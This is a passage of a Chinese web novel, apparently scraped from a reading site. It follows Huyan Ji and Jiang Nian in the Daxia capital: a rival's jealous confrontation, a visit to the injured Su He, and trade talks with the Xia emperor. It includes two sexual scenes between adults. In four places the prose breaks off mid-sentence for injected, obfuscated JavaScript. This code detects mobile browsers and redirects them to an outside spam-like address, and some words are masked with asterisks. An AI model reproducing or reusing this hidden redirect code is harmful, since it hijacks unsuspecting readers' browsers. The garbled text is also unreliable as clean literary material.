“那人既是夷越王,且他人眼下在我大夏境内,皇兄就不想将他给……”魏秋说着拿手在脖上比划。 魏泽摇了摇头:“夷越吞并大梁才只一年,境内政况并不稳定,因有呼延吉压持,这才看起来一团平和,他若没了,便是一团乱,而大夏同夷越互通商贸的前提是彼边稳定的国情,杀呼延吉对我们来说弊大于利,不仅得不到通好之利,说不定大夏会遭受反噬,再引战事。” 魏秋点了点头:“那夷越王何苦微行,直接以国君身份出访我大夏岂不好。” “他自有他的多方考量,他那大妃流落在外,总归不想大张旗鼓叫人知晓,再者还是我刚才说的,夷越一统不久,政局不稳,他若以国君身份出访,动静太大,叫有心人知道,也怕多生事端,引起内乱。”魏泽看了一眼魏秋,又道,“况且……” 魏秋看着他兄长,等他接下来的话。 魏泽捏着茶杯,缓缓转动:“况且呼延吉那样一个人,我猜他不会真的孤身前来大夏。”说着眉目一凝,对魏秋道,“你去信让港口城那边差人探看,有无异常。” 魏秋点头应是,又问:“既然那人就是呼延吉,要不要同烈真提一下,烈真在他手里吃了一记大亏,怕是记恨上了。” 魏泽摆手道:“万不能同他说,你不说,他探不清底细可能还不敢乱来,若叫他知晓那人是呼延吉,我怕他犯浑下**,待他拍拍屁股走了,岂不是我大夏替他挡灾。” “可他二人这梁子怕是结下了……” 烈真今日颜面扫地,估计打他出生以来受过最大的憋,以前烈真同他王兄争首领之位时也没这样灰败过。 “你只需把夷越使臣招呼好,他心里就算气不过却也不敢乱来,夷越这一行人断不能在我大夏境内出事。”魏泽交代道。 魏秋应下。 …… 掌灯时分,晚饭毕,江念倚在窗榻边,心情甚好地观着窗外的花荫月影。 秋水歪坐在一边替她打扇:“娘子,这头发干了,婢子替你绾起来罢。” 江念点了点头。 秋水从旁拿过一支玉簪子,熟巧地替江念把长发随意绾起,一头乌发便水亮的蓬松在后脑。 刚把头发绾好,那位夷越王便从沐间走了出来,秋水忙退到一边将位置让出来。 呼延吉踢了鞋,屈腿坐到江念身后,将头搁在她的颈间,随她往院子里看去,入眼是幽幽不可名状的园景。 “明日我带你去看我的铺子?还有云娘,还有苏和……”江念将脸微侧向他。 呼延吉“嗯”着应下,又冒出一问:“苏和就是海上救你的那人?” “他不仅在海上救过我,后来还救了一次。”江念把他们回家途中被冯三郎带人拦截一事讲了,苏和为了护她,情愿被人挑断脚筋。 呼延吉**念颈间纤软的头发搔得脸痒,在她颈间蹭了蹭,然后开口道:“你那是被他牵累了。” 江念却是另一种想法:“他大可以丢下我不管,一走了之。” 说罢,身后安静下来,呼延吉不再偎着她,离出一点距离。 江念正待转头去看他,胸前落下一个凉物,低头看去,就看见那枚狼牙。 “这玩意儿还得你戴着。” 呼延吉给她从后系好,然后摊开手,江念便将手放在他的手上,两两交握着。 “好想快些回去,迫不及待想见朔儿。”江念说道。 “等使臣谈妥商贸事宜,我们就走。” 正说着,院外响起脚步声往这边行来,不是别人,正是江轲。 江念让秋水替自己更衣,更衣毕,才叫他进屋。 江轲脸上带着笑,之前身上背负着仇恨,后来身上的仇恨又被愧疚代替,得不到解脱,如今找到了阿姐,身心才算松快。 “你们用过饭了?”江轲问道。 “早用过,马上就要歇息。”呼延吉说道,那话里带了点撵人的意思,偏江轲不觉,或是说觉察出来也不理会。 “我还没吃,就在你们房里吃了。”江轲说道。 江念看向秋水:“看看厨房可还有热食?” 秋水应是。 江轲从后追说一句:“再拿些酒来,阿吉陪我喝。” 呼延吉趿鞋从窗榻下到地上,走到江轲身侧坐下:“这个时候怎么还未用饭?” “才从外面回来,转了转大夏的都城,还真是繁华热闹,夜间比白日还热闹。”江轲把身上往前倾了倾,两眼透着光亮,“阿吉,以后我们那边定比他们更繁茂。” 这时酒馔端上桌,江念不去扰他们吃酒,倚着窗栏闲闲地发呆,不时转过目光把他二人看几眼。 呼延吉举杯饮下,说道:“那你来帮我?” 江轲笑着摇头,回举起杯:“我就当个闲散小国舅,只要阿姐和朔儿好,我就满足。” “那你自己的事呢?这些年不曾找一个知心知意的人?”呼延吉佯装道,“阿姐还同我说,等回去为你挑选一名合配的女子。” 江轲怔了怔,看向倚坐于窗榻上的江念:“阿姐说过这话?” 江念忍笑道:“是呢,我心里已有一个合当人选。” “谁?” “珠珠,可还记得?”江念说道。 江轲一下子没记起,呆想了一会儿,脑子里浮现一个黑瘦瘦的丫头,身子平平板板,唯有一双眼清亮,他记得那丫头看起来不过十二三岁。 “阿姐莫不是同我玩笑,那么个丫头片子,又瘦又小,跟只小鼠似的,我记得说话也不伶俐。” 江念拿眼一瞪,说道:“你不知道珠珠的好,可是个伶俐的,我离开前她已不怎么口吃,只是说话有些慢。” 江轲摆了摆手:“那也不成,她才多大一点,光看着也没……” 光看着就没意趣,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938736|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话他不能当着阿姐的面讲,便止了话头。 江念也不多说,觉得可惜,珠珠是个聪颖的丫头,更可贵的是性情极好,算起来也有十六岁了罢。 若阿弟不愿意,她也不能强行撮合,反倒觉得自己阿弟的脾性配不上珠珠的宽忍。 珠珠这丫头因自小被人苛待,过得艰苦辛酸,对人总是存了一种讨好的态度。 再加上江轲是她亲弟,珠珠跟在她身边几年,对她心存感激,言听计从,她将那丫头当小妹一般,可她清楚,那丫头仍把自己放在仆从的位置。 这不对等的地位,很可能以后轲儿把她欺负了,她也选择隐忍不说。 江念想着,一切事宜等回了夷越再说,眼下谈不上这些。 呼延吉同江轲又吃了几杯酒,见他酒足饭饱后仍没有离开的意思,于是说道:“行了,饭也吃了,酒也喝了,阿姐要早点歇息。” 江轲饧着眼,带着几分酒气:“阿姐都没说什么,你急什么。” 呼延吉知他故意的,桌布下一脚踹过去,正巧踢到他的小腿,江轲吃痛地“哎哟”一声。 “怎么了?”江念关心道。 江轲强扯出一抹笑:“没事,刚才磕到桌腿。”紧接着站起身,“我回屋了。”再不走,这条腿得废。 江念起身想送一送,呼延吉拉住她:“就住隔壁院,让他自己走。” 江念望着江轲往院外走去的身形:“他那腿怎么跛成那样。” “你还不知道他?惯会装腔作势,你先去榻上,我重新更衣。” 呼延吉这人也喜洁,行军在外那是没办法,只要有条件,每日沐浴更衣必不可少。 原本从魏王的庄子回来后已盥洗更衣,偏江轲来,不得不陪他吃酒,这会儿身上又沾了酒息,只得重新洗漱更换了一套软绢衣。 入到帐中时,江念已半睡了过去,察觉出身侧的响动,懒懒地撩起眼皮,然后偎了过去。 呼延吉俯到她耳边低语:“我还不想睡。” 江念闭眼嘟囔道:“不想睡,你刚才那样撵他?” 呼延吉笑而不语,将手从她的衣摆下探入,舒揉到那团丰软上。 “你离开这么些时,可有想过我?” 江念似睁非睁着睡眼“唔”了一声。 “当真?” 江念应道:“当真。” 呼延吉不信,问她:“可我怎么听轲儿说你常常抱着朔儿的小衫发呆,不见你抱着我的衣衫?” 江念睁开着,从他怀里往后退了退,往他脸上看去:“你怎么还跟儿子吃醋。” 呼延吉手下稍一使力,江念微喘一声:“轻些……” 呼延吉缓下手,在她温暖的颈间落下吻,细密的吻一点点往下,隔着半透的纱衣将唇舌落到圆隆起的丘体上,挑弄。 女子轻声款掉,一只手微微蜷起抓着呼延吉的肩头,一手抚上他的后脑,将指插入柔软微鬈的发间。 不过几下拨弄,身体的羞情浸透雪纱,呈于呼延吉面前…… 第297章 怎的总喜欢咬我? 罗帐如水波缓荡。 帐下是耳热的动静,带着潮润的气息,像是风淌过清溪,混了一些泥草的腥气,又有野花的清芳。 那白绵的足高翘于宽阔的肩头,男人的手抚上肩头滑腻的小腿肚,然**住女人的脚,在她脚踝上轻轻一咬。 “怎的总喜欢咬我?”江念腮边的发已被汗水打湿。 呼延吉腰胯往前一送,伴着笑声:“你说呢?” 江念把另一只脚抵在他劲实微汗的胸脯上,说道:“那这一只也咬一咬。” 呼延吉笑出声,捉住另一只纤细的脚踝,抬高,在另一只脚腕上不轻不重地落下一个牙印。 此时江念瘫软无力地半睁半闭着眼,身上是动情的绯晕,呼延吉知她时候差不多,不再折腾,狠送了几下。 情极之后,那余韵让江念半晌无法平复,缓了好一会儿,拿衾被遮住身子,欠起身,打起床帐。 “做什么?”呼延吉问道。 “我让秋水送水进来。”说着就要往外吩咐。 呼延吉扯了她一下:“别洗了,就这样罢,咱们只朔儿一个,也该再有一个了。” 江念张了张嘴,呼延吉拉她重新躺下:“歇了,明日带我去瞧瞧你的铺子还有那什么友人。” 两人闭上眼慢慢睡去,有呼延吉伴在身侧,江念很快睡了过去,而且睡得很是沉酣。 呼延吉同江念正好相反,时刻警醒着,哪怕夜间歇息也不敢睡得太深。 一点动静,他都能捕捉到。 就如同现在,杂乱的脚步声正朝这边的院子行来,不过还未走到院内,就被院前的夷越侍卫拦了下来。 然后响动大了起来,呼延吉看了一眼怀里的人,慢慢抽出身,从床尾扯过绢衫,往身上一披,系上衣带,趿鞋下榻,重新黏上疤,走出了房门。 呼延吉走到月洞门处,昏暗的灯光下立着几个乌塔侍卫,他们身后立着的正是烈真。 争闹的两方见了来人,停下争吵,安静下来。 呼延吉扫了烈真一眼,还未靠近就嗅到这人身上很重的酒气。 于是上前一步,倏忽一笑,抱拳道:“原来是乌塔族首领,更深夜静,不知有何事?” 烈真身上的酒气拌着不甘的怒气,使他整个人炸乱着,没了往日的持重和冷静。 他看着眼前这个夷越侍卫,料想他在夷越应是个官身,不然也不会跟在那个小国舅身侧,可那又怎样,一个低阶武将,念娘怎么糊涂应下了,跟这么个人。 他一开始有些不理解,可就在刚才想通了,定是她为了故意气他,兴许还在为上次**的事情生气,又或是出于一时意气。 不论哪一样,她一定不是真心愿意跟随这个夷越护卫,确定这一点后,烈真带了几名手下径直来到夷越使臣居住的殿院区。 可当他看到眼前这个夷越侍卫时,冲顶的火气把酒意都驱散了。 只见男人散阔着领,袒露的胸前两道可疑的红痕,像是被猫儿挠过一般。 “她人呢?”烈真咬牙切齿道。 呼延吉笑了笑,声音听着甚是恭敬,却又让人觉着讥讽:“这个时候,自然是睡下了。” 烈真气得两眼猩红,自己好不容易护着的花儿,一个错眼就被他人摘了,那花儿带刺,他靠近都得小心着,倒不是怕伤了自己,而是怕自己失手伤了它的根系。 结果他还没得手呢,让这个夷越兵痞连枝带叶地嚼到嘴里。 烈真遏住怒意,快速使自己平复,没关系,他不去计较这些,他这会儿来就是为着要人的。 “你到底想要什么,开个条件。”烈真冷声道。 呼延吉嘴角的笑淡下去:“何意?” “睡也睡了,够本了,把她给我,你要什么只管开口。”烈真看着对面的男人,衣领下一长一短的红痕太过刺目。 “乌塔首领说笑了。” “我可没同你玩笑,想要什么,直接道来。”烈真扬起下巴。 呼延吉呵笑一声,不愿同他再费口舌:“只要她,没别的,乌塔首领若是没别的事,请回罢,莫要扰人休息。” 说罢就要转身离开。 烈真的声音传了来:“你一个武将能有多大前途,本王不信你什么都不要,何必装腔作势,我耐着性子让你提条件,如何不识好歹。” “我们夷越人喜欢的东西自己会争,无需施舍。”呼延吉说道。 烈真见他不为所动,不再言语,一双眼彻底沉下来,随后带人离开。 呼延吉看着人走远,脸上神色不明。 …… 次日,江念带着呼延吉去了香远山,刚走到店门口,就见一个侍人扮相的男子在那里张望,他的身后还跟着三个同他差不多装扮的人。 那人见江念从马车下来,立马上前,问道:“可是香远山的掌柜?” 江念点头道:“正是,你是……” 那人恭声道:“奴是皇宫里的侍人,京都贵人圈都用掌柜调制的香,连皇后娘娘闻了也喜欢,没口子的夸掌柜哩,明日宫里设赏花宴,娘娘特意叫奴来寻掌柜,给掌柜的送帖子,入宫赏花。” 说罢又追加了一句,“娘娘一再嘱咐奴,一切随掌柜的意思,若是掌柜的抽不开身,也是不打紧的。” 江念看了呼延吉一眼,见他点头,才将帖子收下:“劳侍人跑这一趟,进去喝些茶水罢。” “掌柜的客气,奴就不多待了,宫里许多事,明日奴便派人来香料铺子接掌柜的。” 说罢带人转身离去。 江念展开帖子看了看,又递向呼延吉:“怎么突然邀我进宫,会不会有什么?” 呼延吉并不接手,只是轻飘飘地扫了一眼:“收着,明日你去。” “可以去?” “嗯,那大夏皇帝估计察觉到我了,让皇后邀你去赏花表出交好之态,放心,若是暗藏祸心,不会傻到以大夏皇后的名义相邀。”呼延吉说道。 江念让秋水收起帖子,带呼延吉进了店铺,才坐没一会儿,走进一人,正是隔壁的赵七娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938737|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵七娘才一进来,眼睛就落在呼延吉身上转不动了,直到江念走到跟前叫她才醒神。 听她笑道:“好好的铺子怎么说关就关了,你怕是不知,你那铺子关了后,好些高门贵府的仆从上门探问情况,那些人找不到你,便跑到我的云裳阁和柳元娘的彩蝶轩打听,我们也说不出个一二三。” 说着,眼睛不自觉又落到呼延吉的身上,心道,这人同那个苏和一样,面廓深刻,可惜脸上横了一道疤。 江念引赵七娘坐下,说道:“我要归家了。” 赵七娘呆了一瞬:“归家?你家不是在战乱中没了么?在咱们大夏好好的,生意也做起来了,又去哪去?” “要回夷越了,我夫君来接我,不日就离开。” “这样仓促呢……”赵七娘想了想不对,转口道,“夫君?你不是说你夫君一言难尽么?” 说着再次看向堂间坐着的呼延吉,从她这个角度可观得他优越的侧颜,异样的发色在清薄的晨光中染上阳光的色调。 兴是他听到了她们的谈话,男人纤长的眼睫微微一霎,然后起身走到店外站着。 江念脸有些红,背后说他坏话还让他知道,已经不是第一次,徽城情姑那次也是。 “刚才那人可是你的夫君?”赵七娘问道。 江念没说,而是转开话头聊别的,说了一会儿,赵七娘想起一事,问道:“苏和怎么了?” 江念心里一紧,追问:“他怎么了?” “你不知道?” “我才回,有些不清楚。” 赵七娘说道:“云娘来过铺子几次,我同她聊了几句,问你的情况,她支吾不说,我便顺道问了一嘴有关苏和的情况,她说他伤了脚,在家里静养,说这话时云娘的面色看起来不太好,我想再多问几句,她也不答话,匆匆就走了。” 江念心道,云娘这话应是为了敷衍赵七娘,苏和的脚伤已经调养好了,不会再出问题。 两人又说了几句,江念便关了铺子同呼延吉乘马车往长福坊行去。 马车停在巷子口,呼延吉看了一眼街围,问道:“是这里?” “就在这条巷弄里。”江念说着往巷间走去,呼延吉紧随其后。 走到自家小院前,秋水上前敲响房门,却没人回应,屏息一听,屋里安静得不像有人。 秋水又趴在门缝往里探看:“家里好像没人。”。 江念转头看向隔壁的一扇房门:“看看阿和在不在家。” 秋水又走到旁边,敲响另一扇房门,敲了几下也没有回应。 “怎么都不在家,是不是云娘同阿和一起出去了?”秋水疑惑道。 江念看向呼延吉:“今儿不巧,他二人都不在家,只能下次再来。” 待她随呼延吉回夷越时,云娘肯定要跟上的,至于苏和……就看他自己愿不愿随她一起,若是愿回夷越,那么,他们几人一起来的大夏,就一起离开。 正想着,巷口“啪——”的一声响,三人侧头看去…… 第298章 什么香都没你身上的好闻 巷口“啪——”的一声响,江念转头去看,就见一个人立在他们不远处,手上的几包东西没拿稳掉到了地上。 而立于巷口的人对掉在地上的东西浑然不觉,只是僵滞在那里,两只手还空端着,两眼大大地瞪着,一脸不可置信的惊骇。 江念快步走去,欣喜道:“云姐姐!” 云娘仍是愕愣地看着前方那个高俊挺拔的男子,直到江念的声音再次唤她,她才转看向江念。 “脸色怎的这样白?是不是哪里不适?”江念关心道。 云娘仍是不说话,只是膝盖一软,垂肩耷脑地跪了下来。 江念看了一眼云娘,再看向对面的呼延吉,察觉到一点点不同寻常。 呼延吉脸上没有过多的表情,只是冷声道:“起来说话。” 云娘听了这话,知道事情没过去,却也不得不站起身。 “云姐姐,待使臣们洽谈好事宜,我们便启程回夷越,好不好?”江念若过得好,她一定会带上云娘。 云娘弯腰将地上的纸包捡起,起身之际说着:“好,好……” 江念打算一会儿同她细说:“阿和呢,他不在?” 云娘捡油纸包的手一顿,抬头看向江念,眼眶泛红,江念见了心头一凝:“是不是阿和出事了?” “你走之后,他去求魏王,魏王也无能为力,他自知无法替你解困,自责愧疚,认为若不是因为他,你也不会求上乌塔族人,就不会……” “那他人呢?” 云娘拿下巴指了指院门:“成日酗酒,那脚伤本就没好,结果伤疾又犯,现在站立不住,只能躺在床上。” 江念眉头蹙起,这也太不顾惜身子,于是让云娘打开苏和的院门。 云娘又看了一眼江念身后不远处的呼延吉,见他仍是冷着眉眼,于是快速低下头走到苏和院门前,打开了院门。 江念等人进到院中,适才在外面还不觉得,一进院就嗅到很浓的药味。 苏和在屋中隐隐听到江念的声音,又听到院中的响动,试探地喊了一声:“念娘?” 江念捉裙上了台阶,云娘随在她的身侧一同进了屋,就见苏和靠坐于床头,床上的薄衾堆放一边。 应是云娘每日照顾着,屋里收拾地倒还齐整。 苏和侧过脸,见是江念,上下唇切颤着:“我无能,害了你。” 江念并未立刻答他的话,而是将目光落到男人的足踝上,不仅脚踝,连裤管下的小腿都红肿得厉害。 “你这腿不要了?”江念的声音虽是轻淡淡的,可听到的人都知道这句话蕴含着不快。 苏和不语,江念又道:“早知你这样不爱惜身体,当初就不该替你求人,左右你这腿是废了的。” “我……” 江念暗自叹了一口气,问道:“好好养伤,你也不必自责,无事了,都好了。” “无事了,都好了?”苏和微微坐起身,先是看了一眼江念,又看向一旁的云娘。 云娘不知想到什么,眼眶微红点头道:“是,没事了,不会有事了,念娘回来了。” 苏和追问道:“烈真愿意放你回来?” 江念摇了摇头。 “那是为何……”苏和话未说完,房间走进一人。 接下来的话便卡在苏和的喉管里,进来的这个男子观其外貌同他一样是夷越人,这不稀奇。 可这个男人为什么会在这里,他不该出现在这里,哪怕烈真出现都比这人现身此地更合情理。 这人分明是他们夷越的君王,不会错的,就是他。 他曾有幸当街见过一次,那时,君王征战而归,一身披灰染血的甲胄,身后是威肃赫赫的众将。 他挤站在人群里,望着这位年轻君王,只见他打马在前,其他众将落他半个马头,沿着京都城大道远去。 苏和在混乱中快速整理思绪,他们的君王为什么在这里,他看了一眼江念,又在二人身上快速扫过,得到一个解释,念娘就是那个梁妃。 “海船上是你救了我妻子?”呼延吉问道。 听到“我妻子”三个字,苏和呼吸一顿,不过很快调整,想从榻上起身,呼延吉压了压手,让他不必动,可苏和仍撑着身子起身,双腿落地,艰难地跪下,以头触地。 又准备朝江念磕下去,江念让秋水扶他起身。 “阿和,我们要回夷越,你要不要随我们一道?”江念并不吃惊苏和认出呼延吉。 苏和坐回床榻,瞥了一眼自己的双腿。 江念把他细微的举动看在眼里,知道他这人极好面子,那个时候下了海船,情愿在港口城做苦力,也不愿搭她们的马车一道去京都。 当下不再多说什么,出了屋室,留秋水在苏和身边应候。 云娘则拿着药包去了灶房煎煮。 江念走到院中,转身看向呼延吉:“大王可否派一两个宫医前来,给他治一治腿?” 呼延吉想了想说道:“不能。” 江念以为听错了,问道:“怎么不能?” “他的恩情你已还清,怎的还要管他?”呼延吉声音淡淡的。 “也不是这样,恩情是恩情,毕竟相处了一年,多少有些……”江念话未说完,就见呼延吉望着自己,立马改口道,“不管了,不管了,谁让这人不识好歹,不知死活,先前已经治好了,现在又成这样,是他自找的,随他自生自灭。” 呼延吉听后满意地点了点头,脸色这才缓下来。 云娘熬煮好汤药,端到屋室递给秋水,转身走到院子里准备向呼延吉请罪,却不见他的人,只有江念坐在院里。 江念拉她坐下,把先前的误会说了。 云娘得知后替江念开心,江家那位小郎君平安无事,又高兴他夫妻二人重归于好。 江念发现云娘从刚才开始就有些异样,遂问道:“云姐姐是不是有事?” “没有,就是一下子太……太欢喜了。” 江念还想再问,呼延吉从外走了来,问她要不要起身回九泽台。 江念听他的语气,知道可能那边有事找他,于是起身,因苏和还需人照顾,云娘没有跟去九泽台。 事实上,她也害怕跟去,担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946170|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心夷越王找她秋后算账。 一行人回了九泽台,江念同呼延吉刚进屋,侍卫前来报知,小国舅并两名使臣在院外候着。 呼延吉还来不及坐下,只匆匆喝了一口茶就出了屋院。 江轲并两名使臣见呼延吉从他们身边经过,便紧随其后,一齐去了一间屋室,并让护卫在外守望。 两名使臣将近日商谈事宜细细说了。 “禀大王,大宗货物清单与配额已商定,只是税赋和结算之规一直僵持不定,他们那边态度亦是坚决。” 呼延吉颔首表示知晓,摆手让两名使臣退下,待人走后又看向江轲。 “你急急地跟着一起也有事?” 江轲见两名使臣走了,屋里只他二人,这才随意坐下:“那大夏皇帝召我明日入宫。” “让你进宫?没说其他的?”呼延吉又问。 “说了一句。” “什么?” “那传话宫侍低声告诉我,说可以带一名侍卫。”江轲看了呼延吉一眼。 呼延吉思忖片刻,问道:“明日?” “是。” “知道了,我随你一道。” 看来这位夏国皇帝得会一会了,两人又说了些话,各自散去。 掌灯时分,呼延吉从沐间出来,见江念坐于窗榻上,背对着他,低着头不知鼓捣着什么。 于是走了过去,踢鞋上榻从后揽上她的腰肢:“做什么呢?” 江念拿着一块纱布给一个海棠描金广口瓷瓶轻轻擦拭着:“那大夏皇后不是说喜我的香么,明日去宫里赏花就把这个奉于她。” 呼延吉伸手要拿,江念却把他伸出的手拍下:“别碰,我才拭得光亮,你一动又是指痕。” “你今日去铺里取的?”呼延吉问道。 江念点头道:“这瓶香我早就制了,只一瓶,难调得很,真叫我再制第二瓶也不一定能制得出,也属阴差阳错得了它,本以为废了的,最后闻了闻,却有独特的韵味。” 呼延吉将头埋在妻子颈间,轻轻嗅了嗅:“什么香都没你身上的好闻。” 江念笑着往后仰靠于他的身上,悠闲地问道:“这香还没取名,大王赐它一个名儿?” “我并未闻过此香调,叫我取名不是乱来?还是你赏它一个名更合当。” 江念觉得有理,倚在他的怀里想了想,说道:“软胭香如何?” 呼延吉点头“嗯”了一声,表示认可,反正他也不懂这些,她说什么便是什么。 江念满意地将海棠瓶收入一个方正的锦盒内,盖好。 然后回转身,双手环上他劲实的腰,迎着微弱的烛光仰起脸,一双手不老实起来,探入男人散开的衣摆,贴上他微凉的彪腹,因为才沐洗,带了些湿润的潮气。 掌温下,柔软的触感之上是坚硬,流畅的肌线随着呼吸缓缓起伏。 江念嘴角噙着笑,眉眼温柔地望着他,抚上那蓬勃的身体,抵上他结实的胸脯,指尖流连让她有些情难自禁,于是跨坐到他的大腿上。 呼延吉倒是有些受宠若惊,难得她主动亲近…… 第299章 今儿你也依我一回 呼延吉见她主动,一只手抚在她的大腿股处,另一只手随摆于一侧。 让她来。 江念却停下动作,双手环上呼延吉的颈,一只手把玩着他左耳的坠饰。 那耳就在她的指尖一点点发烫,变红。 江念俯身过去,耳语道:“妾身有个小要求,大王应不应?” 呼延吉听她改了称呼,就知道有事,哽了哽喉:“什么要求?” “阿和他不是坏人,大王可否派个宫医去看看他的腿?” 呼延吉出行,随身人员里定有医术卓绝的宫医,而且夷越香料、药植多,不论医术还是药品只会比乌塔更高一等。 听江念提及“苏和”两字,呼延吉就有些不喜,比那个烈真更让他不喜。 最起码在对烈真的态度上,她是厌恶反感的,可这个苏和不同,又是救命之恩又是相交之谊。 从来江念说什么,呼延吉都是满口应下,甚至都不用江念说事由,只问一句“好不好”,呼延吉想也不想就应“好”,偏在这个事情上,呼延吉不给回应。 “怎么不说话?”江念问道。 呼延吉捉住她不安分的手,将她拉离一点,有些气恼:“你说我怎么不说话,这个时候你还有心思想别人。” “也不妨碍什么,这么一点事也值得你生气。”江念说着又去玩他的耳坠。 呼延吉把头一偏,避开她的手:“怎么不气,我怎么就没想过别人,一心是你,若我同你温存之时提别的女子,你怎的想?” 江念一噎,见他有些较真,遂缓下语气:“好,好,那不说别人了。” 说着将头转向一边,发现窗扇没关,便要起身去把窗扇打下来。 谁知被呼延吉拉回:“又做什么去。” “把窗户关上。”说着探身去够。 他把她探出的手扯回,眼中意味不明,江念回望向他,见他那样的神情预感不好,敛起衣裙就要起身,却是晚了。 呼延吉将人抱回压向自己,在她耳边说道:“从来都是我依你,今儿你也依我一回,若是肯依我,我便让宫医给那人治腿。” “当真?”江念睛目一亮。 呼延吉“嗯”着应了一声。 江念怕他反口,却又担心他吃味,故作腔调道:“妾身哪有不依的,大王说一句妾身只有依百句的份。” 呼延吉嘴角一勾,压着声儿,腔子中蕴含了一股邪意:“这可是阿姐说的,不许反悔。” 不待江念回话,呼延吉已把江念打横抱起,走入榻间,再将她放下,然后他自己也褪了衣衫入到帐中,拥着她闭眼睡去。 江念眨了眨眼,偎在呼延吉的怀里,对这突然转换的态度有些怔愣。 就这? “你不是说让我依你么?”江念问道。 呼延吉闭着眼:“今日就算了,睡罢。” “那宫医……” 呼延吉叹了一口气:“明日就叫人去,安心,不会让那人残废的。” 江念听他说明日派宫医去给苏和医治,这事就从心头放下,安然睡去。 …… 次日,江念到香远山的店铺前,已有香车在那里候着,宫侍引江念上马车,一众人往皇宫行去。 在江念去往皇宫后园赏花的同时,呼延吉也随江轲入了皇宫。 大夏皇宫的议政殿内,江轲看着御案后的夏帝。 夏帝魏泽比他兄弟魏秋年长几岁,二人为堂兄弟,可就他观得,这二人只是行止间有些相似,容貌上并不相像。 宫人上前给江轲看了茶,然后退下。 江轲向上说道:“不知陛下邀外臣前来有何事?” 魏泽先是看了一眼江轲,又看了一眼他身后的刀疤护卫,说道:“江小国舅先喝茶,我们大夏的茶甚好,待两国商贸谈妥,这茶叶便能入到夷越。” 江轲端起茶盏,用盖拨了拨浮沫并不饮入,将茶盏放下。 魏泽看在眼里,面上没有波动,说道:“小国舅是梁国人?” 江轲没料到夏帝会提及这事。 “是。”江轲答道。 “众所周知,大梁同夷越并不和睦,梁国被灭,小国舅就不恨夷越?”魏泽说着,又别有意味地道出一句,“不恨夷越王呼延吉么?” 江轲立马正了面色,生怕说晚了:“陛下说笑了,夷越王虽吞并大梁,却不曾伤过梁国子民,百姓的日子仍是照旧,不,不是照旧,比之从前更加兴旺和乐,生机蓬勃,何谈‘恨’字。” “是么?” 两方坐得距离不算近,魏泽坐于上首御案之后,江轲坐于下手一溜排的交椅上,中间隔着。 可江轲却读出他嘴边的讥笑,心头有些不快。 “陛下似是不信?” 魏泽抬眼看向下首,从刚才开始他的余光一直放在江轲身后侍立的呼延吉身上,可他接下来说的一句话却是实实在在对江轲说。 “江小国舅可知你们大梁的皇帝逃到我大夏来了?” 江轲猛然一震,会过意,夏帝说的大梁皇帝是李旭,噌得站起:“他人在哪里?!” 魏泽往椅上一靠,但笑不语,再次抬眼,直直看向江轲身后之人:“前梁帝对我来说就是一个无关紧要之人,我关心的是两国商贸往来,利民之事,不如先谈紧要之事,再谈其他,如何?” 江轲正要答话,肩头多了一个重量,侧头去看,却是呼延吉将手压在他的肩头。 “先谈正事。”呼延吉说道。 魏泽从案后走出:“久闻贵国物阜民丰,夷越王春秋鼎盛,威名远播四海,远驾劳从来我大夏,失敬。” 呼延吉回敬道:“夏帝过誉,贵国江山锦绣,文治武功彪炳千秋,共聚共商,实乃两国幸事。” 江轲在一边看着这二人相互客气寒暄,才发现他在中间连个传话筒都不是。 呼延吉已表明身份,魏泽邀他对坐于矮几,接下来商谈两国商贸。 江轲不近前,远远坐着。 如今两国已就大宗货物清单与配额议定,还有关税和结算货币未能定下。 呼延吉为客,魏泽为东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946171|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道国君,亲自执壶替他看了一盏茶,然后给自己也斟了一杯。 呼延吉执盏,没有半分不信任,饮下茶水。 魏泽亦饮下杯中的茶水,开口道:“货物出入国境,税赋乃根本,依我的意思,两国商货,一律十抽一。” 所谓十抽一,就是十份货物里抽一份货物对应税款。 